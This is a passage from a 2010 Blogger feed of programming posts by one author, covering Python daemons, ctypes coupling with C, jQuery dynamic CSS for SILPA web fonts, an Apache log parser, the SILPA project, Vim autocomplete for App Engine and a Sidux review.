width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Pms4ehFPMfI/TF7qnMUDs6I/AAAAAAAABX4/10SQnSCkx4I/s72-c/screen_shot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-5073598785100702831</id><published>2010-07-11T11:10:00.001-07:00</published><updated>2010-09-25T11:52:46.785-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='daemon process'/><title type='text'>Creating a Daemon Process in Python</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Daemons in computer world refers to a process that runs in background in a Unix like operating system you can read more on Daemons in this &lt;a href="http://en.wikipedia.org/wiki/Daemon_%28computer_software%29" target="_blank" title="Daemon Process"&gt;Wikipedia article&lt;/a&gt;. I knew how to create a daemon in the C program but didn't find any good article on how to do it in Python except this &lt;a href="http://code.activestate.com/recipes/278731-creating-a-daemon-the-python-way/" target="_blank" title="Python Daemon"&gt;one&lt;/a&gt;. The main guidelines for writing a daemon process are as follows&lt;br /&gt;&lt;ol&gt;&lt;li&gt;First the program needs to fork and parent should exit leaving the child as orphan which will be then adopted by the &lt;b&gt;&lt;i&gt;init &lt;/i&gt;&lt;/b&gt;process which is parent of all process in Unix like operating system. Caution: do take care so that your process doesn't end up as a Zombie Process (avoided by doing a double fork. 1st parent forks a child which then forks a second child after forking first child exits and then parent exits and the second child continues to execute as a daemon)&lt;a name='more'&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;A process has a controlling terminal and receives all signal from the terminal. Child inherits the terminal of process but a daemon should not receive any signal from controlling terminal so we need to disassociate from any terminal and also from process groups. This can be done by creating its own process group and becoming the session leader. To achieve this &lt;b&gt;&lt;i&gt;setsid&lt;/i&gt;&lt;/b&gt; system call is used&lt;/li&gt;&lt;li&gt;By default a child process also inherits open file descriptor from its parent and most of the time it may not be using these resources so its good if we release/close all these file descriptors.&lt;/li&gt;&lt;li&gt;Next is setting the working directory as / (root) this is done so that process doesn't keep any directory in use on a mounted file system (not allowing to unmount). But using / may not be good in all cases so working directory should be chosen carefully. This can be achived using &lt;b&gt;&lt;i&gt;chdir&lt;/i&gt;&lt;/b&gt; system call&lt;/li&gt;&lt;li&gt;Setting the file creation mask is next step. Normally daemons will be running as super user and files created by it needs to be protected. This can be done by using &lt;b&gt;&lt;i&gt;umask&lt;/i&gt;&lt;/b&gt; system call.&lt;/li&gt;&lt;li&gt;Catching the Signals is the next step. Normally daemon process may get signal from a user or other process. For eg a child process may send SIGCHLD when it terminates. Daemons should catch these signals and act accordingly (except SIGKILL). This can be done using signal handlers utilizing signal.h&lt;/li&gt;&lt;li&gt;Daemon process won't be attached to any terminals or consoles so messages from daemon process needs to be written to some file or we need to use syslogd interface to log the events which is more flexible.&lt;/li&gt;&lt;/ol&gt;Well that’s about the steps / guide lines to create a daemon processes. Here is the code which I wrote in Python which uses double forking and creates a simple daemon which actually does nothing :P.&lt;br /&gt;&lt;script src="http://gist.github.com/596645.js"&gt;As you can see this program follows all the 7 steps. I used the double forking method to avoid Zombies. First child becomes session leader using os.setsid and forks second child then it exits. Second child changes the working directory to /tmp and sets umask, at this point parent process is done. Next it tries to close all file descriptor which may have been inherited from parent. I simply go from 0 to max allowed files by the system and try to close each of them. If closing fails it doesn't matter try next one ;). Finally I have a signal handler which handles hangup and terminate signals, child stop etc are ignored. Then in the main part simply loop for ever sleeping for 1 second :D. That’s it your daemon is ready to run. Here is the orignal &lt;a href="http://www.enderunix.org/docs/eng/daemon.php" target="_blank" title="Daemon process in C"&gt;C program&lt;/a&gt; To check if your program is running just use following command.&lt;blockquote&gt;&lt;i&gt;ps -eF | grep test_daemon.py&lt;/i&gt;&lt;/blockquote&gt;Replace with file name you gave. Here is the sample output&lt;blockquote&gt;&lt;i&gt;root     18754     1  0  2533  2308   0 21:31 ?        00:00:00 /usr/bin/python ./test_daemon.py&lt;/i&gt;&lt;/blockquote&gt;1 in the third column indicates that this process's parent is init. Try following commands &lt;blockquote&gt;&lt;i&gt;kill -HUP 18574&lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;kill 18574&lt;/i&gt;&lt;/blockquote&gt;Now if you see the log file in /tmp/pydaemond.log you will see signal handler has caught the signals and logged it. PID can be found in the /tmp/pydaemond.lock file. Change the file name and directory to suit your needs. Thats all for now C ya.Vasudev&lt;/div&gt;&lt;/script&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-5073598785100702831?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/07/creating-daemon-process-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5073598785100702831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5073598785100702831'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/07/creating-daemon-process-in-python.html' title='Creating a Daemon Process in Python'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-8852146453374075700</id><published>2010-07-05T09:33:00.001-07:00</published><updated>2010-09-25T11:56:36.633-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Python and C Coupling</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;One of the best feature of Python is you can write some modules in C and use it in the Python. This is usually done for the parts of the program which requires intensive calculation and their implementation in Python may make entire application slow. For coupling you need to write the function which are calculation intensive in C and create a shared library file of it. Then you can use the &lt;a href="http://docs.python.org/library/ctypes.html" target="_blank" title="Ctypes Module"&gt;ctypes&lt;/a&gt; module in Python to import those module into your Python program. Well as an example lets write an C function for calculating factorial. See the code below&lt;br /&gt;&lt;script src="http://gist.github.com/596858.js?file=factorial.c"&gt;&lt;/script&gt;&lt;br /&gt;Lets call this file test.c Now compile this file with following commands&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;gcc -fpic test.c &lt;br /&gt;gcc -shared -o libtest.so test.o&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;This creates a shared library (dll in Windows way). Now lets write a Python file with same function to calculate factorial. Why I'm doing this is to show the efficiency of using C coupling. Below is the sample code I used.&lt;br /&gt;&lt;script src="http://gist.github.com/596863.js?file=gistfile1.py"&gt;&lt;/script&gt;&lt;br /&gt;Well don't worry I purposefully did factorial of 1000 to show what happens. &lt;i&gt;Python will run out of stack space and if you remove the try except block python will complain about stack depth exceeded&lt;/i&gt; and finally quits, but C function works pretty fine and returns a result. Well I don't know if result is proper or not since finding result wasn't my concern. Here is the output you get when you run the program &lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;Python recursive call error stack depth exceeded &lt;/i&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;C call from python 0.062844 &lt;/i&gt;&lt;/blockquote&gt;You can change the number and test the time taken. One thing I want to tell here is CDLL is for *nix users, if you are Windows user you should use either WinDLL or OleDLL class for doing this. Any variable you pass to the C functions need to be of types defined in ctypes you can't directly pass a Python data type to C functions. &lt;br /&gt;There is no proper example available on how to use this in documentation so thought of writing this blog. I'm still learning the ways of utilizing C programs from with in Python. And as I learn new things I'll update them here.&lt;br /&gt;Vasudev&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-8852146453374075700?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/07/python-and-c-coupling.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8852146453374075700'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8852146453374075700'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/07/python-and-c-coupling.html' title='Python and C Coupling'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-8846577224794939444</id><published>2010-07-03T08:29:00.001-07:00</published><updated>2010-09-25T11:32:28.265-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SILPA'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>Dynamic CSS Loading and Creation using Jquery</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;This is my first post on web development side. Frankly I'm not a designer and I don't understand the art of designing correctly. But this time I got in a situation where I had to do design changes in &lt;a href="http://smc.org.in/silpa" target="_blank" title="SILPA"&gt;Silpa's &lt;/a&gt;Web font module. SILPA is the first service which provides Indic web fonts. Currently we have web font for Malayalam and Kannada languages.&lt;br /&gt;Requirement was something like this - I need to get font details from Silpa which contains Font name, its language and sample text to preview the font.&lt;br /&gt;Challenge: To preview the font on sample text, I needed to get @font-face CSS from the Silpa which can be done using &amp;lt;link rel="stylesheet" href="http://smc.org.in/silpa/Webfont?font=Malige"/ type="text/css"&amp;gt; tag which need to be put in &amp;lt;head&amp;gt; section of HTML page and create corresponding CSS for the font dynamically.&lt;br /&gt;Solution: &lt;a href="http://thottingal.in/" target="_blank" title="Santhosh's Home Page"&gt;Santhosh&lt;/a&gt; gave me a hint "google dynamic CSS loading using Jquery" and this &lt;a href="http://topsecretproject.finitestatemachine.com/2009/09/how-to-load-javascript-and-css-dynamically-with-jquery/" target="_blank" title="Dynamic CSS Loading with Jquery"&gt;link&lt;/a&gt; came to my rescue. Here is what I did&lt;br /&gt;&lt;script src="http://gist.github.com/597120.js?file=dynamiccss.js"&gt;&lt;/script&gt;&lt;br /&gt;css_link is generated using font name returned by the SILPA. Next was to create font CSS for each font's preview text. Well I used my own technique without knowing it will work or not but voila it worked :)&lt;br /&gt;Here is what I did&lt;br /&gt;&lt;script src="http://gist.github.com/597123.js?file=dynamic_css_text.js"&gt;&lt;/script&gt;&lt;br /&gt;And voila webfonts where previewed :). Here is the link for the page &lt;a href="http://smc.org.in/silpa/Webfonts" target="_blank" title="Webfonts in SILPA"&gt;http://smc.org.in/silpa/Webfonts.&lt;/a&gt;If you didn't understand the entire code have a look at the source code &lt;a href="http://git.savannah.gnu.org/cgit/silpa.git/tree/modules/webfonts/index.html" target="_blank" title="Source Code"&gt;here.&lt;/a&gt;Comments are welcome.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-8846577224794939444?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/07/dynamic-css-loading-and-creation-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8846577224794939444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8846577224794939444'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/07/dynamic-css-loading-and-creation-using.html' title='Dynamic CSS Loading and Creation using Jquery'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-932767284628919702</id><published>2010-06-27T02:24:00.001-07:00</published><updated>2010-09-25T11:59:39.121-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><title type='text'>A Small Python module to parse Apache Log lines</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;div align="justify"&gt;This is my first module written in Python. I wanted to extract the information from Apache access log line so searched for existing modules, even though I found one i felt logic is too complicated, I wanted a very simple module. So thought why don't I write my own module to parse log lines. Since I designed this to meet my requirements it may not be a complete module. It can parse and give you information from the Apache access log lines which is either common or combined format. If you don't know what is common and combined format refer this &lt;a href="http://httpd.apache.org/docs/2.1/logs.html" target="_blank" title="Apache Logs"&gt;documentation.&lt;/a&gt; This module doesn't validate the lines to check if its really Apache log lines it depends on user to pass correct line. I've also added another simple module which can get you information from error log line. The module is available in &lt;a href="http://gitorious.org/apache-log-parser-module/" target="_blank" title="Apache Log Line Parser module"&gt;gitorious&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div align="justify"&gt;Below is the code which shows how to use this module.&lt;/div&gt;&lt;pre class="python" name="code"&gt;import apachelogparser as a&lt;br /&gt;f = open("/var/log/apache2/access.log") #change it to suit log location in your machine&lt;br /&gt;line = f.readline()&lt;br /&gt;log_parser = a.ApacheAccessLogParser()&lt;br /&gt;log_parser.parse(line)&lt;br /&gt;&lt;/pre&gt;&lt;div align="justify"&gt;The fields of log_parser object will be filled with information extracted from the line. Please refer the &lt;a href="http://gitorious.org/apache-log-parser-module/apache-log-parser-module/blobs/master/README" target="_blank" title="README"&gt;README&lt;/a&gt; in documentation for information on the field. Similarly you can extract information from the error log. Well hope this module helps you :). Soon will be publishing the project for which I wrote this module till then.&lt;/div&gt;&lt;div align="justify"&gt;Vasudev&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-932767284628919702?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/06/small-python-module-to-parse-apache-log.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/932767284628919702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/932767284628919702'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/06/small-python-module-to-parse-apache-log.html' title='A Small Python module to parse Apache Log lines'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-8455521723872750667</id><published>2010-05-24T09:37:00.000-07:00</published><updated>2010-09-25T12:00:48.853-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SILPA'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>SILPA - An Indian Language Processing Application</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;div align="justify"&gt;SILPA stands for Swathantra Indian Language Processing Application. Swathantra stands for free as in freedom. Its a web framework which provides a set of language processing application for Indian Languages. It has also ported many existing stand alone application to the web framework. SILPA is entirely written using Python and its a framework written from the scratch with out following any of existing Python framework. Credit of writing this framework goes to&lt;a href="http://thottingal.in/blog/about/"&gt; Santhosh Thottingal&lt;/a&gt;. &lt;/div&gt;&lt;div align="justify"&gt;Coming to&amp;nbsp; the implementation details of SILPA. SILPA is a modular framework, in the sense all the language processing services are organized as separate modules and user can activate or deactivate these modules by commenting or un-commenting respective lines in a configuration file (silpa.conf). SILPA uses the &lt;a href="http://wsgi.org/wsgi/What_is_WSGI"&gt;WSGI interface&lt;/a&gt;. Silpa also provides JSON RPC API's to expose this services to wide range of platform. &lt;/div&gt;&lt;div align="justify"&gt;Some of the service provided by the SILPA include Spell checker service, transliteration which include ISO 15919 and IPA and according to Santhosh this is the first application providing the transliteration in ISO 15919 and IPA for Indian languages. Silpa also has Indic Soundex module which is the modification of Soundex algorithm to suit the indic languages. Of course all these services are still in development stage. &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;SILPA provided the transliteration service for Indic Languages before the Google's scriptconv.googlelabs.com but service was not so popular which will make people think that Google brought the transliteration service for Indian Language first. The website transliteration service which is powered by SILPA can be accessed at &lt;a href="http://thottingal.in/go"&gt;http://thottingal.in/go&lt;/a&gt; &lt;/div&gt;&lt;div align="justify"&gt;Similar to transliteration service Silpa also provides spell checking service for all Indian Languages and English. PHP helper library is also written for this module to allow the developer consume this service from PHP. Online spell checking service for Indian Language is designed using this PHP library and is available at &lt;a href="http://thottingal.in/projects/spellchecker/" target="_blank"&gt;http://thottingal.in/projects/spellchecker/&lt;/a&gt;. The source code for PHP library is available in &lt;a href="http://github.com/copyninja/php-silpa-spellchecker" target="_blank"&gt;Github&lt;/a&gt; &lt;br /&gt;You can find more about Silpa and service provided by it in this &lt;a href="http://www.smc.org.in/silpa" target="_blank"&gt;link&lt;/a&gt;. You can also try out these services here. SILPA is currently lacking developers, currently we have only 2 active developers Santhosh, and myself. Of course I'm beginner and helping in fixing minor issues and performance improvements and also Kannada related bug fixes. We will be happy to have more developers since there are many pending tasks to be done for this application. I'll list few of them below.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Improving the Spell checker algorithm and making it more accurate&lt;/li&gt;&lt;li&gt;Currently transliteration from English to Indic language is chained through Malayalam and we need developers from respective languages to provide more efficient and independent transliteration &lt;br /&gt;&lt;/li&gt;&lt;li&gt;We have plans to pull the words from as many sources as possible including Wiktionaries to create Indic language dictionary.&lt;/li&gt;&lt;li&gt;Writing documentation for the API interfaces (both in Python and JSON) etc/ &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;If any one is interested in helping us in improving the service for their&amp;nbsp; language. You can join us by registering in &lt;a href="https://savannah.nongnu.org/projects/silpa" target="_blank"&gt;Savannah&lt;/a&gt; and requesting for membership in the same link. You can also subscribe to &lt;a href="https://savannah.nongnu.org/mail/?group=silpa"&gt;Silpa mailing list&lt;/a&gt;. The basic skills we are looking for is&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Proficiency in natural language&lt;/li&gt;&lt;li&gt;Basic knowledge in Python&lt;/li&gt;&lt;li&gt;Basic knowledge of working with Git.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="zemanta-pixie"&gt;&lt;img alt="" class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=7e997c1b-396e-8269-b38f-a0068ee5d95d" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-8455521723872750667?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/05/silpa-indian-language-processing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8455521723872750667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/8455521723872750667'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/05/silpa-indian-language-processing.html' title='SILPA - An Indian Language Processing Application'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-2208308020021571807</id><published>2010-04-18T00:13:00.001-07:00</published><updated>2010-09-25T12:12:27.670-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GAE'/><category scheme='http://www.blogger.com/atom/ns#' term='vim'/><category scheme='http://www.blogger.com/atom/ns#' term='autocomplete'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>VIM auto-complete feature for GAE (python) using PyDiction</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;In my one of the previous post on Vim auto-complete features, I used pydiction plugin to configure&amp;nbsp; the Python auto-complete in vim. Same pydiction plugin comes with a handy python script called pydiction.py which allows you to add new module to the existing python auto-complete dictionary "complete-dict". &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;For adding GAE to this auto-complete dictionary follow these steps.&lt;br /&gt;1. Extract the google-appengine to say bin folder in your home directory. For eg .home/user/bin/google-appengine.&lt;br /&gt;2. Now add a symbolic link to this folder in your python's site-packages directory which is found in /usr/lib/python2.x/site-packages. You can use this command for the purpose but remember to change the version number of python appropriately.&lt;br /&gt;&lt;blockquote&gt;cd /usr/lib/python2.5/site-packages&lt;br /&gt;sudo ln -s ~/bin/google-appengine/google&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;3. Now go into the folder ~/.vim/pydiction1.x/ (if you followed my instruction to setup&amp;nbsp; pydiction or wherever you have the complete-dict and pydiction.py) and run the following command&lt;br /&gt;&lt;blockquote&gt;pydiction.py google&lt;br /&gt;pydiction.py google.appengine&lt;br /&gt;pydiction.py google.appengine.api&lt;/blockquote&gt;As you encounter more module keep extending your dictionary set using pydiction.py. Note that pydiction.py backs up your complete-dict file each time you run it to a file complete-dict.last. So its better or shall I say its mandatory to have complete-dict and pydiction.py in same folder.&lt;br /&gt;Thats all folks now you can program GAE with your vim without bothering to use memory hogging eclipse IDE. Enjoy !!! :)&lt;br /&gt;&lt;br /&gt;Vasudev&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="zemanta-pixie"&gt;&lt;img alt="" class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=c8b1d1ff-83dd-8bae-b2f7-c455b7661af0" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-2208308020021571807?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/04/vim-auto-complete-feature-for-gae.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2208308020021571807'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2208308020021571807'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/04/vim-auto-complete-feature-for-gae.html' title='VIM auto-complete feature for GAE (python) using PyDiction'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-3858729330865016142</id><published>2010-04-10T01:40:00.001-07:00</published><updated>2010-09-25T12:14:22.870-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sidux'/><category scheme='http://www.blogger.com/atom/ns#' term='Debian'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Sidux Saga</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;div align="justify"&gt;After a very long time I finally removed the Windows partition and completely installed Sidux. Sidux a Linux distribution completely based on the Debian Testing/Sid. Unlike Ubuntu Sidux maintains Debian flavor with it. It completely follows Debian Software policy and follows the latest software to the user. Since Sidux also uses Debian Sid there is a myth that its unstable, but frankly its not unstable its been a week for now i'm using Sidux without breaking a sweat. &lt;/div&gt;&lt;div align="justify"&gt;&lt;b&gt;Sidux Desktop :&lt;/b&gt; Sidux basically comes with 2 desktop environment KDE and Fluxbox. I chose KDE full live CD which is about 2GB live ISO which supports x86 and AMD64 versions. Sidux currently runs KDE 4.3.4 with all the latest KDE apps and Open Office 3.2 and KMail 1.12. By seeing the Kubuntu I was always thinking KDE is such a buggy desktop, but after using the Sidux I'm changing my thinking about KDE, it isn't that buggy but in Kubuntu for some reason it looks more buggy. &lt;/div&gt;&lt;div align="justify"&gt;&lt;b&gt;Sidux Installer and Boot up : &lt;/b&gt;Sidux has a nice installer which in some way is like Wubi installer but there is no resemblence. Installation was a easy process, boot live CD click on Sidux Installer provide proper partition for installation and just click next. Time of installation was hardly 5-6 minute which beats even Ubuntu installation time :) . Boot up was pretty fast and unlike Ubuntu boot process is similar to Debian.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;b&gt;Sidux package management : &lt;/b&gt;Sidux package management is same apt-get dpkg. The one reason why I won't recommend Sidux to beginers is "you meed to be well versed with apt-get command line system". Even though there is package manager available it ain't that good. Also there isn't any automatic update notifier you need to check all these things manually. But there is a reason for this since Sidux uses Sid repositories, there will be lot of changes to the repository each day and Sidux manual clearly mentions not to dist-upgrade in X mode, alternative for this is to download the packages manually using apt-get's -d option and then log off the KDE , log on to virtual console and switch to runlevel 3 do the upgrading once every thing finishes clean the cache and switch back to runlevel 5. This is not so difficult to geeks who are well versed in command line. One more issue is update amount, due to usage of Sid repository each day there will be&amp;nbsp; a lot of updates (arround 100MB), this sole reason put me in a dilemma of whether to continue with Sidux or switch to Debian testing. Any suggestions on these are welcome ;).&lt;/div&gt;&lt;div align="justify"&gt;&lt;b&gt;Sidux Security updates : &lt;/b&gt;Since there isn't any security updates available for Sid itself there isn't any security update concept for Sidux. So Sidux is best suited for the desktop machines.&lt;/div&gt;&lt;div align="justify"&gt;As final words I will say Sidux is a rock solid distro which provides you pure Debian flavor with all latest packages. So if you love some challenge and fun then I would say go for it (Sidux). If I make up my mind to continue with Sidux this Saga will continue :).&lt;/div&gt;&lt;br /&gt;Vasudev&lt;br /&gt;&lt;br /&gt;&lt;div class="zemanta-pixie"&gt;&lt;img alt="" class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=077c30ac-d5be-8c66-94df-e85ef2aed00c" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-3858729330865016142?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/04/sidux-saga.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3858729330865016142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3858729330865016142'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/04/sidux-saga.html' title='Sidux Saga'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-9081089732901071632</id><published>2010-03-30T09:54:00.001-07:00</published><updated>2010-03-30T10:18:02.631-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dyndns'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><category scheme='http://www.blogger.com/atom/ns#' term='ddclient'/><title type='text'>Using dyndns service with Dialup Modem on Debian/Ubuntu</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;div style="text-align: justify;"&gt;I know dial up modems are almost out of date, but there are still people like me who are satisfied with dialup modem (or are not able to afford broadband :P ). So if you are using a dialup modem and want to use dyndns service there is good tool available for you to update you IP address to dyndns without having to login to the web interface. This tool is ddclient and can be downloaded from &lt;a 